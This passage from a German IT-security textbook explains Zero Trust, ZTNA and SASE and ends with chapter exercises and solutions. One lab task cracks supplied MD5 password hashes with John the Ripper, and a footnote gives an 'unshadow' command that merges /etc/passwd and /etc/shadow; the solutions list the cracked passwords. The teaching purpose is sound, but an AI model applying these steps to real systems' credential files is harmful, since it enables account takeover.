Nach dem sich Angreifer Zugang zu einem Netz verschafft haben, werden sie die ihnen bekannten Zugangsdaten nutzen, um von Rechner zu Rechner zu springen und das Netzwerk nach für sie interessanten Maschinen absuchen (vgl. Abschn. 4.3.1). Diesen Schritt nennt man Lateral Movement oder Seitwärtsbewegung. Diese Phase eines Angriffs ist besonders gefährlich, weil die Angreifer grundsätzlich in allen Systemen, zu denen sie Zugang hatten, einen eigenen Zugangsweg (Backdoor) einrichten könnten. Mit Zero Trust als Netzwerkmodell wurde eine Gegenmaßnahme entwickelt, die Lateral Movement wirksam eindämmt. Bei klassischen Sicherheitsmodellen gilt die Abschottung über Firewalls, IntrusionDetection-Systeme und VPN als Zugangsweg für Mitglieder einer Einrichtung und damit die Grenze eines Netzwerkes (Perimeter) als Schwelle für das geforderte Sicherheitsniveau: Alle Nutzer innerhalb des Netzes, die sich einmal beim Zugang zu einem Rechner authentifiziert
8.8
Zero Trust als Netzwerksicherheitsmodell
157
Abb. 8.3 Klassisches Sicherheitskonzept
haben, galten als vertrauenswürdig und alle Nutzer außerhalb des Netzes wurden grundsätzlich als böswillig eingestuft.4 Zwischen dem internen Netz und dem Internet befindet sich eine Firewall oder alternative Zugangskontrollen, die nur bestimmte Zugriffe erlaubt. VPN ist bei diesem Konzept das Mittel der Wahl, um böswillige von vertrauenswürdigen Nutzern zu unterscheiden. Ein VPN-Zugang ermöglicht einem externen Nutzer Mitglied im internen Netz mit seinem Rechner zu werden. Die Authentisierung erfolgt über eine installierte App oder einen webbasierten Zugang. Dabei sind alle genannten Authentisierungsverfahren wie Account/Passwort, 2FA oder WebAuthn im Einsatz. Dieses Sicherungskonzept wird auch mit Perimeterschutzkonzept bezeichnet (Abb. 8.3). Sicherheitsforscher haben nun eine sogenannte Deperimeterisierung erkannt: Das bedeutet, dass eine Einrichtung nicht mehr in der Lage ist, eine klare Trennlinie zwischen einem inneren, sicheren oder einen äußeren, unsicheren Netzwerkbereich zu ziehen. Insbesondere durch private Endgeräte, die sich vom Nutzer grundsätzlich in das vermeintlich sichere innere Netz integrieren lassen (Bring-Your-Own-Device, BYOD) geht zunehmend eine Gefahr für die gesamte Infrastruktur aus. Auch das Perimetersicherungskonzept VPN hilft hier nicht weiter: Wenn ein privates Gerät über eine VPN-Verbindung mit dem inneren Netz verbunden wird, ist ein potenziell gefährliches System in dieses Netzwerksegment integriert. Dazu kommt, dass Netzwerke traditionell eher grob segmentiert sind, was bedeutet, dass sich von diesen Geräten aus eine große Zahl an Systemen direkt erreichen lassen.
4 Dieses Konzept wird oft mit einer traditionellen Burg mit dicken, hohen Mauern, Zugbrücke und
Wassergraben verglichen: Um in eine Burg zu kommen, muss zunächst die Zugbrücke (VPN) über den Wassergraben und das Tor (Firewall) genommen werden. Innerhalb der Burg kann man sich anschließend vergleichsweise frei bewegen.
158
8 Allgemeine Maßnahmen
Noch gravierendere Probleme gibt es beim Betrieb von Cloud-Diensten, die weltweit erreichbar sein sollen. Hier macht eine Perimeterabschottung mit Trennung nach internen und externen Nutzern wenig Sinn. Auch wenn man den Zugang zu einem Cloud-Dienst eventuell noch kontrolliert einrichten könnte, lässt sich ein kompletter Identity-Lifecycle bei vielen Cloud-Diensten kaum mehr realisieren. Bei Zero Trust geht man davon aus, dass grundsätzlich jeder Rechner oder Nutzer, egal ob vor oder hinter der Firewall, kompromittiert oder böswillig sein könnte. In der reinen Theorie wird bei jedem Zugriff geprüft, ob dieser berechtigt ist. Dabei basiert das Zero-Trust-Modell auf vier grundsätzliche Fragen, die getrennt beantwortet werden müssen: • • • •
Ist die Identität des Nutzers gesichert (Authentisierung)? Ist das Gerät vertrauenswürdig? Ist der Zugriff des Nutzers zulässig (Authentifizierung)? Ist ein Dienst vertrauenswürdig?
Zero Trust geht grundsätzlich davon aus, dass diese Fragen bei jedem Zugriff neu verifiziert werden. Dabei wird geprüft, dass die Identität des Nutzers seit dem letzten Zugriff nicht geändert wurde, das Gerät in der Zwischenzeit nicht kompromittiert wurde, die Zugriffsrechte nicht geändert wurden und der Dienst noch vertrauenswürdig ist. Um den Aufwand für diese Überprüfungen in Grenzen zu halten, werden Sitzungen oder Zeitmarken als Überprüfungsintervalle verwendet. In der Veröffentlichung von John Kindervag [8] schlägt der Autor vor, Zero Trust als Sicherheitsmodell in eine Netzwerkarchitektur zu integrieren. Damit fand ein Paradigmenwechsel statt: Wurde zuvor Nutzern oder Systemen innerhalb eines Netzwerkes, für das sie Zugriffsrechte haben, grundsätzlich vertraut, schlug Kindervag vor, auch innerhalb eines Netzes, auch hinter einer Firewall niemals zu vertrauen und bei jedem Zugriff immer zu überprüfen, ob die Fragen des Zero-Trust-Modells noch zutreffend sind. Diese Überprüfung erfolgt unabhängig davon, wie häufig dieser Zugriff in der Vergangenheit bereits erlaubt wurde. In einer Zero-Trust-Netzwerkarchitektur kann folglich kein Nutzer, Client oder Server auf einen Dienst zugreifen, ohne dass die Identität und die Autorisierung vor dem Zugriff überprüft wurden. Dieses Konzept wurde 2020 durch die NIST-Publikation 800-207 [9] verfeinert. In dieser Veröffentlichung wird die Zero-Trust-Netzwerkarchitektur mit ZTA (Zero-Trust-Architektur) abgekürzt. Bei der Umsetzung dieses Konzepts wird das Netzwerk in Mikrosegmente unterteilt und alle Zugriffe erfolgen über Firewalls, die den Datenverkehr zwischen den Mikrosegmenten steuern (Abb. 8.4). Die Mikrosegmente sind dabei so ausgelegt, dass innerhalb eines solchen Segments eine implizite Vertrauenszone ausgebildet wird. Das bedeutet, dass bei der Netzwerksegmentierung stets darauf geachtet werden muss, dass bei einem erfolgreichen Angriff alle Systeme innerhalb eines Mikrosegments kompromittiert sein können. Es muss
8.8
Zero Trust als Netzwerksicherheitsmodell
159
Abb. 8.4 Zero-Trust-Sicherheitskonzept
also ein Kompromiss zwischen maximaler Größe eines Segments und einem begrenzten Schaden im Angriffsfall gefunden werden. Die VPN-Verbindung dient dabei der Ende-zu-Ende-Verschlüsselung des Datenverkehrs zwischen dem Client und der Firewall als Zugangspunkt sowie der Zugangskontrolle. Aus Sicherheitsaspekten dient der VPN-Zugang lediglich der Verschlüsselung der Datenpakete zwischen Endgerät und Firewall. Es wird kein Unterschied zu einem Endgerät gemacht, das nicht über VPN verbunden ist. Die Firewalls sind zunächst sehr restriktiv konfiguriert, sodass eine Kommunikation zwischen den Netzwerk-Mikrosegmenten per Default verhindert wird und jeder erwünschte Zugriff, zum Beispiel von einem Arbeitsplatzrechner auf den Drucker, in den Firewalls explizit eingerichtet werden muss. Jeder Zugriff wird protokolliert und analysiert, um kontinuierlich auf geändertes Verhalten zu achten. Wenn sich an dieser Schnittstelle Verhaltensänderungen ergeben, wird dies als ein mögliches Sicherheitsproblem eingestuft, entsprechend registriert und überwacht. Jedes Mikrosegment kann unmittelbar in Quarantäne genommen werden, sodass sich ein erfolgreicher Cyberangriff auf dieses Mikrosegment begrenzt. Die Grundannahme, dass Client, Nutzer oder Server grundsätzlich nicht vertrauenswürdig sind, bis deren Identität verifiziert wurde, gilt für alle Nutzer und Systeme innerhalb des Netzes genauso, wie für alle Systeme, die von außerhalb auf das Netzwerk zugreifen wollen. Die Authentifizierung gilt für die Dauer einer Session, was bedeutet, dass eine neue Authentifizierung erfolgen muss, sobald eine Session unterbrochen oder beendet wurde. Dieses Netzwerkkonzept hilft, viele Problemstellungen in den Griff zu bekommen:
160
8 Allgemeine Maßnahmen
• Bring-Your-Own-Device (BYOD): Private Endgeräte, die zuvor in unsicheren Netzen verwendet wurden, können Schadfunktionen enthalten. Diese Geräte werden von den Nutzern im Netz verwendet. • Mobile Geräte: Notebooks, Tablets oder Smartphones lassen sich nur sehr schwer zentral administrieren. Oft werden sie an Herstelleraccounts gebunden, sodass die Nutzer beliebige Software nachinstallieren können, die die Integrität des Netzwerks durch einen unkontrollierten Datenabfluss gefährden. • Verteiltes Arbeiten: Durch Homeoffice und mobiles Arbeiten werden Clients immer wieder in unsicheren Netzen betrieben und könnten jederzeit mit Schadsoftware infiziert werden. Wenn diese Systeme anschließend per VPN mit dem internen Netz verbunden sind, müssen diese grundsätzlich als infiziert eingestuft werden. • Cloud: Cloud-Dienste werden zunehmend in Arbeitsabläufe integriert. Diese Systeme, die in der Regel nicht von den lokalen Administratoren betrieben werden, müssen zwangsläufig in das interne Netzwerk eingebunden werden, damit sie produktiv genutzt werden können. • Lateral Movement: Bei einem konkreten Angriff kann auf das befallene Mikrosegment eingeschränkt werden. Beim Versuch, dieses zu verlassen würden die ungewöhnlichen Netzwerkaktivitäten auffallen und das Segment sofort unter Quarantäne gestellt werden. Lateral Movement kann auf diese Weise wirksam verhindert werden. Mit dem Zero-Trust-Ansatz können genau diese Risiken erheblich reduziert werden. Für die Umsetzung des Zero-Trust-Sicherheitsmodells in einer Einrichtung werden folgende Komponenten benötigt: • Single Sign-on (SSO): Zero Trust bedeutet nicht, dass sich ein Nutzer bei jedem Zugriff neu authentifizieren muss. Vielmehr ist SSO, also die einmalige Anmeldung in Kombination mit einer Multi-Faktor-Authentifizierung, das Mittel der Wahl. Die Überprüfung der Berechtigungen erfolgen im Hintergrund durch die Systeme, jedoch bei jedem Zugriff. • Verschlüsselung: Alle gespeicherten Daten und die Datenübertragung sind grundsätzlich verschlüsselt und werden beim Zugriff lokal auf den Endgeräten entschlüsselt. • Mikrosegmentierung: Durch das Einrichten von sehr kleinen, aber dafür vielen Netzwerksegmenten, die sich gegenseitig nicht vertrauen, können Datenflüsse zwischen den Mikrosegmenten über Firewalls kontrolliert und gesteuert werden. Dabei sind die Firewallregeln so eingestellt, dass zunächst kein Zugriff von einem Segment auf einen Dienst eines anderen Segments möglich ist. Wird ein Zugriff benötigt, wird dieser für eine bestimmte Person so eingerichtet, dass genau dieser Zugriff möglich wird. • Überwachung: Zugriffe von einem Mikrosegment auf ein anderes werden in Echtzeit überwacht. Diese Überwachung kann automatisiert durch Anomalien in Verhaltensprofilen durchgeführt werden.
8.9
Zero Trust Network Access (ZTNA)
161
Wenn diese Maßnahmen konsequent umgesetzt wurden, kann ein Angreifer oder eine Schadsoftware ein kompromittiertes Mikrosegment nicht verlassen, ohne dass eine neue Authentifizierung gegenüber dem benachbarten Netzwerksegment notwendig wird. Da bestimmte Nutzer nur bestimmte Rechte haben, kann ein Angreifer auch nur auf genau die Daten zugreifen, für die diese Person entsprechende Berechtigungen besitzt. Mit diesem Ansatz wird das Lateral Movement und damit das zentrale Ausbreitungsrisiko nach einem erfolgreichen Eindringen in ein Netzwerk wirksam minimiert. Wird ein Angriff durch den Versuch eines Übergangs in ein nicht zugelassenes Netzwerksegment detektiert, kann der zugehörige Account oder das System in Quarantäne gestellt werden, sodass weitere Zugriffe auf benachbarte Mikrosegmente nicht mehr möglich sind. Bleibt der Angreifer unter Anwendung der Stealth-Techniken (vgl. Abschn. 4.2.5) unterhalb der Erkennungsschwelle eines Intrusion Detection Systems (IDS, s. Abschn. 11.3), kann er sich dennoch nach und nach im Netz ausbreiten. Es ist für den Angreifer nur wesentlich aufwendiger und vollzieht sich viel langsamer als in einem Netz ohne ZeroTrust-Sicherheitsmodell. Für den Angreifer besteht die Gefahr, dass er jederzeit durch eine unbedachte Aktion entdeckt werden kann. In realen Implementierungen scheitert die konsequente Umsetzung des Zero-TrustNetzwerkmodells meist am damit verbundenen Aufwand, ein komplexes Netzwerk von Grund auf neu aufzubauen. Daher findet man oft hybride Netzwerkkonzepte, bei denen zum Beispiel die internen Administrationsnetze mithilfe von Firewalls und einem IDS über eine klassische Perimetersicherung realisiert sind. Die Cloud-Infrastruktur wird hingegen über ein Zero-Trust-Netzwerkkonzept abgesichert. Als Zwischenschritt ist dies legitim, da es sich bei den Zugängen auf die Administrationsnetze um einen überschaubaren Personenkreis handelt, für den ein Identity-Lifecycle beherrschbar ist. Bei diesem begrenzten Personenkreis lassen sich auch weitere Sicherheitsregeln durchsetzen, wie zum Beispiel, dass der Zugriff nur von Systemen aus gestattet ist, die zentral administriert werden und deshalb vertrauenswürdig sind.
8.9
Zero Trust Network Access (ZTNA)
Auf der Basis des Zero-Trust-Modells regelt Zero Trust Network Access (ZTNA) den Remotezugriff auf Anwendungen, die in einem internen Netz betrieben werden. Im Gegensatz zu VPN-Verbindungen, bei denen ein Tunnel vom Endgerät zum internen Netz aufgebaut wird, verbindet ZTNA zwischen einem Endgerät und einer konkreten Anwendung. Auch hier gilt, dass grundsätzlich keinem Nutzer vertraut wird, sodass jeder Nutzer authentisiert und jede Verbindung zwischen der Anwendung und dem Nutzer authentifiziert werden muss. Das Besondere an diesem Konzept ist die Entkopplung von Anwendungsebene und Netzwerk. Auch wenn der Zugriff auf eine bestimmte Anwendung möglich ist, kann das Netzwerk von außerhalb nicht analysiert werden, da keine IP-Adressen oder Hardwarekomponenten nach außen sichtbar sind.
162
8 Allgemeine Maßnahmen
Die Vermittlung eines Dienstes mit dem Nutzer erfolgt über einen zentralen Vermittler, dem Software-defined Perimeter (SDP), der alle Zugriffsberechtigungen auf die Applikationen prüft und von den Netzwerkberechtigung trennt. Mit einem SDP kann ZTNA Mikrosegmente auf Anwendungsebene implementieren, sodass bestimmte Nutzer nur auf bestimmte Dienste oder Anwendungen zugreifen können, auch wenn diese im selben Netzwerksegment oder sogar auf derselben Hardware liegen. Dabei kann ein Nutzer von außen immer nur eine Anfrage an den Vermittler senden. Besitzt der Nutzer über die richtigen Berechtigungen und ist dieser authentisiert, wird dem internen Dienst mitgeteilt, dass eine berechtigte Anfrage vorliegt. Der Dienst baut anschließend eine ausgehende sichere Verbindung auf Anwendungsebene auf. Die Kommunikation läuft grundsätzlich über den SDP, der in diesem Fall auch als NAT (s. Abschn. 2.7) fungiert, sodass von außen keine internen IP-Adressen sichtbar sind. Das Zugriffsmodell basiert demnach nicht auf Netzwerkebene, sondern auf Anwendungsebene. Es besteht nur Zugang zu einer dedizierten Anwendung und nicht zu einem gesamten Netzwerksegment wie bei VPN. Der Aufbau und die Komponenten eines internen Netzwerks bleiben für den Nutzer oder Angreifer von außen verborgen, weshalb man bei ZTNA auch von einem „Dark-Cloud“-Konzept spricht. Die Vorteile von ZTNA gegenüber klassischen Ansätzen sind: • • • •
Das sichere Arbeiten von Remotearbeitsplätzen Der sichere Zugang zu cloudbasierten Infrastrukturen Das Verstecken der internen Netzwerkarchitektur. Die Zugriffskontrolle auf Applikations- oder Dienstebene
Insbesondere der letzte Punkt zeigt, dass ZTNA eine sichere Alternative zu VPN darstellt. Bei Cloud-Anwendungen wird deshalb ZTNA zur Absicherung von Cloud-Infrastrukturen gegen Cyberangriffe eingesetzt. Auch bei ZTNA gilt, dass dieses Konzept nur ein Baustein in einer Reihe von Sicherungsmaßnahmen sein kann. Über einen Zero-Day-Exploit in der Anwendung kann ein Angreifer diese übernehmen und sich ggf. Zugriff auf das System verschaffen, auf dem diese Anwendung läuft. Von da aus kann evtl. ein Zugriff auf den Hypervisor erfolgen oder die Angreifer nutzen dieses System, um die Netzwerkarchitektur auszuspähen, die über ZTNA eigentlich geschützt werden soll. Auch beim ZTNA-Konzepts muss deshalb sichergestellt werden, dass alle darüber hinausgehenden weiteren Sicherungsmaßnahmen getroffen werden. Auch bei konsequenter Umsetzung der ZTNA wird ein Angriff zwar deutlich erschwert, aber nicht grundsätzlich unmöglich gemacht.
8.10
8.10
Secure Access Service Edge (SASE)
163
Secure Access Service Edge (SASE)
Die IT-Landschaft hat sich in den letzten Jahren dramatisch verändert: Waren noch vor wenigen Jahren Rechenzentren mit zentralisierter IT der Standard, so hat sich heute eine großflächig verteilte IT-Infrastruktur auf Basis von Cloud-Diensten durchgesetzt. Das stellt die Verantwortlichen für die IT-Sicherheit vor ganz neue Herausforderungen: Selbst ZTNA setzt voraus, dass das Rechenzentrum über die Netzhoheit verfügt, also volle Kontrolle über die Netzwerkkomponenten wie Firewalls, Router und das Intrusion Detection System besitzt. Ist die IT einer Einrichtung über viele Standorte verteilt und werden Cloud-Dienste in das Dienstportfolio integriert, ist das Rechenzentrum über ein Wide-Area-Netzwerk (WAN) verteilt. Damit liegt die Netzhoheit auf Ebene der Hardwarekomponenten bei den Providern. Die Lösung dieses Problems liegt, wie oft, in der Virtualisierung. Dabei wird ein sog. softwaredefiniertes WAN (SD-WAN) aufgebaut, das aus virtuellen Komponenten wie virtuelle Firewalls, virtuelle Zugangspunkte, virtuelle Router usw. aufgebaut wird. Zwischen diesen Komponenten bestehen Ende-zu-Ende-verschlüsselte Verbindungen. Die Aufgabe der Provider besteht nun darin, dieses Netz über verschiedene Übertragungsmedien wie Kabel- und Glasfaserstrecken oder Funkverbindungen auf Latenz, Durchsatz und Ausfallsicherheit hin zu optimieren. Dies wird durch eine dynamische Pfadauswahl erreicht. Der Rechenzentrumsbetrieb verlagert sich von einem lokalen Netz (LAN) in ein verteiltes Rechenzentrum in einem SD-WAN mit den folgenden Netzwerkkomponenten: • Softwaredefinierte Netzwerkkomponenten wie SD-Router, SD-Gateways und SDFirewalls • Malware-Erkennung und Intrusion Detection • Sichere Web-Gateways • Sicherung gegen Datendiebstahl (Data Loss Precention) Software-defined Firewalls werden von einigen Anbietern auch als Firewall-as-a-Service (FWaaS) bezeichnet und als Cloud-Dienst bereitgestellt. Diese SD-Firewalls orientieren sich an klassischen Firewallfunktionen, sodass Regeln für den eingehenden und ausgehenden Datenverkehr des SD-WANs definiert werden. Manche FWaaS-Dienstleister erweitern die Analysefunktionen der Firewall bis auf Anwendungsebene (Ebene 7 im OSISchichtenmodell), sodass nicht nur die Metainformation wie Absender-IP und EmpfängerIP analysiert werden können, sondern auch die Datenpakete selbst. Auf Anwendungsebene kann deshalb Malware oder Spam erkannt und durch entsprechende Firewallregeln gefiltert werden. Zugänge über sichere Web-Gateways dienen ebenfalls der Filterung des Datenverkehrs zwischen Endgerät und Web-Gateway. Da der gesamte Datenverkehr über diesen Zugangspunkt fließt, lassen sich hier Sicherheitsrichtlinien durchsetzen. Die Web-Gateways haben wie SD-Firewalls die Aufgabe, Schadfunktionen und Datenschutzverletzungen zu erkennen und zu filtern. Hier können auch Anwendungen mit bestimmten Anforderungen an Latenz
164
8 Allgemeine Maßnahmen
oder Durchsatz erkannt werden, wie zum Beispiel Videokonferenzen oder umfangreiche Datentransfers. Diese besonderen Anforderungen werden auf der darunterliegenden Hardwareschicht verwendet, um die Übertragungswege zu optimieren. Die Sicherung gegen Datendiebstahl (Data Loss Prevention, DLP) geht noch einen Schritt weiter und versucht den Abfluss vertraulicher Daten zu verhindern. Dies könnte zum Beispiel dadurch erreicht werden, dass die Übertragung vertraulicher Informationen an unbekannte IP-Adressen gesperrt wird. Nur Ziele, die in einer Allow-List eingetragen sind, werden als Ziel der Übertragung zugelassen. Da in einem SD-WAN die Netzwerkhoheit der virtuellen Netzwerkkomponenten wieder beim Rechenzentrumsbetreiber liegt, kann das Zero-Trust-Netzwerkmodell und ZTNA auf der Basis dieser Komponenten auch in einem solchen verteilten Netzwerk umgesetzt werden. Da all diese Komponenten meist von verschiedenen Anbietern bereitgestellt werden, ist die Administration allerdings sehr komplex, denn jede dieser Sicherheitsfunktion benötigt spezielle Kenntnisse und nur wenn alle diese Sicherheitsfunktionen fehlerfrei auf einander abgestimmt sind, wird das gewünschte Maß an Sicherheit im gesamten Netz erreicht. Secure Access Service Edge (SASE) geht deshalb noch einen Schritt weiter: Die Idee hinter SASE ist, die genannten Sicherheitsfunktionen in einem eigenen Cloud-Dienst zusammenzufassen und so für das gesamte SD-WAN sicherzustellen. Damit werden diese Sicherheitsfunktionen aus einer Hand mit speziell geschultem Personal administriert. Die Hoffnung ist, dass die Sicherheitsfunktionen auf diese Weise optimal aufeinander abgestimmt werden können. Dieses Konzept wird derzeit von Experten kontrovers diskutiert: Da es sich bei SASE lediglich um die Zusammenführung eingeführter Einzeltechnologien mit virtuellen Netzwerkkomponenten im SD-WAN handelt, bei der lediglich deren Administration aus einer Hand erfolgt, sind einige Experten der Meinung, dass es sich gar nicht um ein neues Konzept handelt. Außerdem kann es die IT-Sicherheit sogar beeinträchtigen, wenn alle Sicherheitsfunktionen von einem Anbieter kommen. Wird dieser Kompromittiert, besteht sofort die Gefahr, dass auch die Sicherheitsfunktionen im SD-WAN durch die Cyberkriminellen außer Betrieb gesetzt werden könnten.
8.11
Aufgaben & Lösungen zu diesem Kapitel
8.11.1 Aufgaben 8.1 Welche Aussagen sind richtig? 1. 2. 3. 4.
Virenscanner sind nutzlos, weil sie die Flut an neuen Viren nicht verhindern können. Daten sollten im Internet immer nur verschlüsselt übertragen werden. VPN hilft immer die Daten sicher zu übertragen. Ein Backup auf einer USB-Festplatte ist ein guter Schutz gegen Ransomware.
8.11
Aufgaben & Lösungen zu diesem Kapitel
165
8.2 Wie können Sie prüfen, ob eines Ihrer Passwörter kompromittiert wurde? 8.3 Wie lange sollte ein Passwort mindestens sein, damit es durch Brute-Force nicht geknackt werden kann? 8.4 Welche Aussagen sind richtig? 1. Phishingkampagnen erkennen Sie immer am schlechten Deutsch in den E-Mails. 2. Das Klicken auf einen Hyperlink ist unproblematisch, solange man nirgends auf „OK“ klickt. 3. Interne Phishingkampagnen helfen, die Sensibilität für Phishing-E-Mails zu erhöhen. 4. Um zu prüfen, wohin der Hyperlink hinführt, kann man mit der Maus über den Link fahren, ohne auf ihn zu klicken. 8.5 Erläutern Sie, wie Angreifer versuchen, 2FA auszuhebeln. 8.6 Wie wird sichergestellt, dass das private Passwort nicht aus dem TPM ausgelesen werden kann? 8.7 Welche Aussagen sind richtig? 1. Für die passwortlose Anmeldung benötigen Sie einen Security-Chip um den privaten Teil des Schlüssels zu speichern. 2. Bei FIDO2 werden die Passwörter beim Anbieter des Dienstes gespeichert. 3. FIDO2 ist resistent gegen Phishing über E-Mail und SMS. 4. Manche Betriebssysteme nutzen FIDO2 bereits, ohne dass Nutzer das merken. 8.8 Wie wird bei WebAuthn sichergestellt, dass Man-in-the-Middle-Angriffe ins Leere laufen? 8.9 Welche Aussagen sind richtig? 1. Die Verschlüsselung besteht immer zwischen einem Client und einem Servern (Dienst), die sich gegenseitig Daten senden. 2. Alle Zwischenstationen bei einer Datenübertragung können die Daten im unverschlüsselt mitlesen. 3. Der Schlüsselaustausch bei TLS muss vor der Datenübertragung über einen getrennten Kanal erfolgen. 4. TLS ist robust gegen Man-in-the-Middle-Angriffen.
166
8 Allgemeine Maßnahmen
8.10 Worauf sollten Sie achten, wenn Sie einen VPN-Dienst für die sichere Datenübertragung nutzen wollen? 8.11 Gegen welchen Angriffsschritt schützt Zero Trust für Netzwerke? 8.12 (P) Bei dieser Aufgabe geht es darum, zu erfahren, wie schnell und leicht Passwörter mit einer geringen Komplexität zu knacken sind. Nutzen Sie John the Ripper zur Entschlüsselung von Passworthashes5 . Testen Sie John the Ripper auf dem Kali-Rechner mit folgenden Passworthashes, die Sie in der Datei password.hash ablegen: dennis:d0199f51d2728db6011945145a1b607a crypto:64397c8527190222aa6d61b3c23f8e84 lang:e69960441d5db66052560be8a4f6f595 Hinweise: Diese Passwörter sind mit MD5 verschlüsselt. Kopieren Sie die Datei /usr/share/ wordlists/rockyou.txt.gz in Ihr Arbeitsverzeichnis und packen Sie diese dort mit gunzip aus. Jetzt können Sie Das Programm „john“ mit den Optionen „- -wortlist=rockyou.txt“ und „-format=RawMD5“ starten. Wie lauten die Passwörter für diese User? Betrachten Sie nun das folgende MD5-verschlüsselte Passwort, das in keiner Passwortdatei enthalten ist. Es hat 5 Stellen und ist eine Mischung aus Buchstaben, Sonderzeichen und Ziffern. short:079350F080F13E82FC8D27AA7A5F3DA6 Starten Sie John the Ripper mit einer geeigneten Option. Wie lautet das Passwort? Wie lange benötigen Sie für die Entschlüsselung auf Ihrem Rechner? 8.13 (P) E-Mails beinhalten neben dem Text der Nachricht zusätzlich einige Informationen über den Absender, der IP-Adresse des Absenders und vieles mehr, die im Mailheader gespeichert sind6 Betrachten Sie den Auszug aus einem Mailheader in Abb. 8.5. 1. Wie lautet die IP des Mailservers, der die Mail abgesendet hat? 2. Wer hat die E-Mail versendet? 5 Passworthashes sind die verschlüsselten Passwörter, die auf einem System gespeichert sind. Sie
lassen sich sowohl unter Windows als auch unter Linux auslesen und in einer Datei speichern. Unter Linux lassen sich die beiden Dateien „passwd“ und „shadow“ mit dem Befehl „unshadow /etc./passwd /etc./shadow > passwort.hashes“ kombinieren, sodass die Angaben zur Person sowie die Hashes in einer Datei kombiniert sind. Unter Windows geht das auch, ist nur ein wenig komplizierter. John the Ripper kann aber auch nur mit der Shadow-Datei gestartet werden, um die Passworthashes zu entschlüsseln. 6 Je nach Mailprogramm, das Sie nutzen, gibt es verschiedene Wege, den Mailheader auf einem PC auszulesen. Bei mobilen Endgeräten ist das allerdings manchmal nicht möglich.
8.11
Aufgaben & Lösungen zu diesem Kapitel
167
Abb. 8.5 Ein Mailheader aus dem SPAM-Ordner
3. An wen würde eine Antwort auf diese E-Mail gesendet werden? 4. Wie würden Sie diese E-Mail einordnen? 5. Versuchen Sie herauszufinden, wo der Mailserver des Absenders steht.
8.11.2 Lösungen 8.1 Antwort 2. 8.2 Über die Webseiten https://haveibeenpwned.com/, https://sec.hpi.de/ilc/ oder https:// haveibeenpwned.com/Passwords können Passwörter identifiziert werden, die über bekannte Einbrüche kompromittiert wurden. 8.3 Ein Passwort sollte heute mindestens aus 20 Zeichen bestehen. 8.4 Antworten 3. und 4. 8.5 Über MFA-Fatigue-Attacken oder über Man-in-the-Middle-Attacken. 8.6 Der Befehl zum Auslesen des Passwortes wird in der Prozessorhardware gar nicht implementiert. 8.7 Antworten 1. und 4. 8.8 Das private Passwort wird im TPM mit der tatsächlichen URL verknüpft.
168
8 Allgemeine Maßnahmen
8.9 Antwort 1. 8.10 Der Anbieter des Dienstes sollte vertrauenswürdig sein, denn die verschlüsselte VPNVerbindung endet beim Server des VPN-Dienstanbieters. 8.11 Zero Trust als Netzwerkmodell schützt gegen die Ausbreitung von Cyberkriminellen, die bereits hinter einer Firewall angekommen sind (Lateral Movement). 8.12 Die Passwörter lauten: basketball (dennis) passwort1 (crypto) mypasswordispassword (lang) Qn&6z (short) Die gesuchte Option für das Entschlüsseln des Passwortes für den User „shorty“ lautet „-mask=?a?a?a?a?a“. John the Ripper findet das Passwort auch auf einem schwächeren PC in wenigen Minuten. 8.13 Aus dem Mailheader lässt sich Folgendes ablesen: 1. 2. 3. 4. 5.
47.243.146.76 [email protected] [email protected] Die E-Mail ist mit großer Wahrscheinlichkeit ein Phishingversuch Über visuelle Traceroute-Webseiten wie zum Beispiel https://gsuite.tools/de/traceroute lässt sich herausfinden, dass der Mailserver mail.daust.org in Ashburn, USA steht (Stand 12/2022).
Literatur 1. Zphisher: An automated phishing tool with 30+ templates. https://github.com/htr-tech/zphisher Aufgerufen am 26. Nov. 2022 2. FIDO-Alliance: Client to Authenticator Protocol (CTAP). https://fidoalliance.org/specs/fido-v2. 0-ps-20190130/fido-client-to-authenticator-protocol-v2.0-ps-20190130.html (2019). Aufgerufen am 8. Nov. 2022 3. FIDO Alliance. https://fidoalliance.org/. Aufgerufen am 30. Sep. 2022 4. WWW-Consortium: Web Authentication: An API for accessing Public Key Credentials Level 2 https://www.w3.org/TR/webauthn-2/ (2021). Aufgerufen am 5. Nov. 2022 5. Wikipedia: Diffie-Hellman-Schlüsselaustausch. https://de.wikipedia.org/wiki/Diffie-HellmanSchlüsselaustausch (2022). Aufgerufen am 14. Nov. 2022 6. ZeroTier: Protocol Design Whitepaper. https://docs.zerotier.com/zerotier/manual (2022) Aufgerufen am 22. Oct. 2022
Literatur
169
7. OPENsense: Wiki and Documentation. https://docs.opnsense.org/ (2022) Aufgerufen am 22. Oct. 2022 8. Kindervag, J.: Build Security Into Your Network’s DBA: The Zero Trust Network Architecture. https://www.virtualstarmedia.com/downloads/Forrester_zero_trust_DNA.pdf (2010). Aufgerufen am 23. Sep. 2022 9. Rose, S., Borchert, O., Mitchell, S., Connelly, S.: SP 800-207: Zero Trust Architecture. https:// csrc.nist.gov/publications/detail/sp/800-207/final (2020). Aufgerufen am 30. Sep. 2022
9
Vorbereitungen für den Ernstfall
Viele Administratoren von Rechnersystemen oder Netzen gehen grundsätzlich davon aus, dass Hacker sich die Zähne ausbeißen, wenn alle Systeme auf dem aktuellen Stand, die Firewalls restriktiv konfiguriert und die Nutzenden ausreichen geschult sind. Das ist allerdings ein Trugschluss. Alle technischen Maßnahmen zur Absicherung einer komplexen IT-Infrastruktur, bestehend aus mehreren Netzwerksegmenten, aktuell gepatchten Clients und Server und sauber konfigurierte Firewalls, können einen Angriff eines Hackers zwar beliebig erschweren, aber nicht zu 100 % verhindern. Ist das anvisierte Ziel für einen Hacker ausreichend interessant oder wertvoll, werden Cyberkriminelle sehr viel Know-how, Zeit, Aufwand und Ressourcen einsetzen, um in ein System einzudringen. Dabei stellt sich der Aufwand für einen Angreifer und einen Administrator, der seine Systeme möglichst gut verteidigen möchte, höchst unterschiedlich dar: • Für einen Cyberkriminellen reicht es, einen Zugang zu einem einzelnen System zu erlangen, das eine einzige Schwachstelle enthält, um großen Schaden zu verursachen. • Ein Administrator muss einen umfangreiches IT-Sicherheitskonzept auf allen Servern und Clients umsetzen und permanent weiter entwickeln, um sich so gut wie möglich abzusichern. Ein einzelnes angreifbares System im Netz reicht aus, als Einfallstor für einen Cyberangriff ausgenutzt zu werden. Gleichzeitig möchte ein Administrator seinen Nutzenden den besten Kompromiss aus Nutzerfreundlichkeit und IT-Sicherheit bieten, was immer auch zulasten der IT-Sicherheit gehen wird. In vielen Einrichtungen ist beispielsweise die Nutzung privater Endgeräte wie Mobiltelefone oder Rechner erlaubt, was aus Gründen der IT-Sicherheit eigentlich ausgeschlossen
